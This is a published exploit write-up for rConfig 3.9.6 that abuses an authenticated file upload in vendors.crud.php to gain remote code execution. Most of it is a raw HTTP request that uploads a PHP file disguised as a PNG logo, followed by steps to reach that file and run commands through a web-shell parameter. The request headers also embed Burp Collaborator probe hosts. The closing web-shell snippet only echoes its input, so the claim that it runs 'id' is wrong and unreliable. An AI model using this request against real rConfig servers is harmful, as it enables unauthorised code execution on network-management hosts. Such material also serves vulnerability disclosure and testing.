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2.7 KiB
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70 lines
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2.7 KiB
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# Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated)
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# Date: 2021-03-17
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# Exploit Author: Murat ŞEKER
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# Vendor Homepage: https://www.rconfig.com
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# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
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# Version: rConfig v3.9.6
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# Install scripts :
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# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
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# https://www.rconfig.com/downloads/scripts/centos7_install.sh
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# https://www.rconfig.com/downloads/scripts/centos6_install.sh
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# Tested on: centOS 7
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# Notes : If you want to reproduce in your lab environment follow those links :
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# http://help.rconfig.com/gettingstarted/installation
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# then
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# http://help.rconfig.com/gettingstarted/postinstall
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# Description:
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rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'.
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The following steps can be carried out in duplicating this vulnerability.
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- Login the rConfig application with your credentials.
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- Repeat
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POST /lib/crud/vendors.crud.php HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@5y4o1s35jvx342apl7392qrqxh3m7aw.burpcollaborator.net
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data; boundary=---------------------------122590832918963661283831488254
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Content-Length: 36619
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Origin: https://localhost
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Connection: close
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Referer: http://4hmnkrm42ug2n1to46m8lpapggmlp9e.burpcollaborator.net/ref
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Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b
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Upgrade-Insecure-Requests: 1
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Cache-Control: no-transform
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-----------------------------122590832918963661283831488254
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Content-Disposition: form-data; name="vendorName"
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thisisrce
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-----------------------------122590832918963661283831488254
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Content-Disposition: form-data; name="vendorLogo"; filename="file.php"
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Content-Type: image/png
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<?php phpinfo(); ?>
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-----------------------------122590832918963661283831488254
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Content-Disposition: form-data; name="add"
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add
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-----------------------------122590832918963661283831488254
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Content-Disposition: form-data; name="editid"
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-----------------------------122590832918963661283831488254--
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- Than go to http(s)://<SERVER>/images/vendor/file.php
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Note: The file.php can be accessed without valid credentials.
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If you change the <?php phpinfo(); ?> to <?php echo $_GET["cmd"];?>
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and navigate the http(s)://<SERVER>/images/vendor/file.php?cmd=id
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The `id` command will execute on server. |